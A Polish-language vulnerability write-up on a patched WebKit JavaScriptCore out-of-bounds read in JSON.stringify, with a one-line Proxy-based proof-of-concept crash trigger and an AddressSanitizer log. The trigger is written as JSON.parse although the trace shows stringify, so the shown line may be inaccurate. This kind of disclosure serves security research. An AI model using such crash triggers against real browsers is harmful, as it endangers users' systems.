WebKit JavaScriptCore – Out of bounds read

Szybki wstęp

Projekt WebKit kusi bughunterów przede wszystkim, bardzo dużym zasięgiem występowania błędu – wykorzystywany jest jako core przeglądarki Apple Safari, silnik Apple AppStore i komponent wielu aplikacji w systemach MacOS X oraz Linux.

Między innymi to błędy w WebKitcie były punktem wejścia do jailbreaku iOS i odblokowania urządzeń Apple’a. Myślę, że lepszej motywacji do zajęcia się tym tematem nie trzeba 🙂

Opis podatności

Dziura znajdowała się w rewizji SVN 208042 oraz w Safari Technology Preview Release 18 (i niżej).

Błąd związany był z subtelną różnicą w standardzie ECMAScript w kwestii serializacji JSONów. Poniżej cytat z commita naprawiającego, który dobrze opisuje clue problemu:

When JSON.stringify encounter the undefined value, the result depends
on the context. If it is produced under the object property context, we ignore
that property. On the other hand, if it is produced under the array element
context, we produce “null”.

Skip the property that value is undefined.
JSON.stringify({ value: undefined }); => “{}”

Write “null” when the element is undefined.
JSON.stringify([undefined]); => “[null]”

Jak widać poniżej mój payload “łapał” się na obydwa w/w przypadki:

JSON.parse(new Proxy([undefined],{}))

Następnie, po niewłaściwym określeniu obiektu, jego wartość była przekazywana do funkcji budującej stringa (Webkit posiada własne funkcje służące do operacji na stringach) i nastepował odczyt spod adresu niezdefiniowanego w pamięci, który skutkował SIGSEGV.

Log z ASAN:

==16295==ERROR: AddressSanitizer: SEGV on unknown address 0x6041000021a3 (pc 0x7fa5adf38ee4 bp 0x0000ffffffff sp 0x7ffd4d2f6790 T0)
==16295==The signal is caused by a READ memory access.
    #0 0x7fa5adf38ee3 in WTF::StringBuilder::operator[](unsigned int) const XYZ/webkit/Source/WTF/wtf/text/StringBuilder.h:247:20
    #1 0x7fa5adf38ee3 in JSC::Stringifier::Holder::appendNextProperty(JSC::Stringifier&, WTF::StringBuilder&) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:465
    #2 0x7fa5adf35501 in JSC::Stringifier::appendStringifiedValue(WTF::StringBuilder&, JSC::JSValue, JSC::JSObject*, JSC::PropertyNameForFunctionCall const&) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:384:37
    #3 0x7fa5adf31deb in JSC::Stringifier::stringify(JSC::Handle<JSC::Unknown>) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:262:9
    #4 0x7fa5adf406c4 in JSC::JSONProtoFuncStringify(JSC::ExecState*) XYZ/webkit/Source/JavaScriptCore/runtime/JSONObject.cpp:786:57
    #5 0x7fa565afe027  (<unknown module>)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV XYZ/webkit/Source/WTF/wtf/text/StringBuilder.h:247:20 in WTF::StringBuilder::operator[](unsigned int) const
==16295==ABORTING

Bug 164123 w bugzilli projektu WebKit

Commit naprawiający (SVN Rev: 208123)

CVE: N/A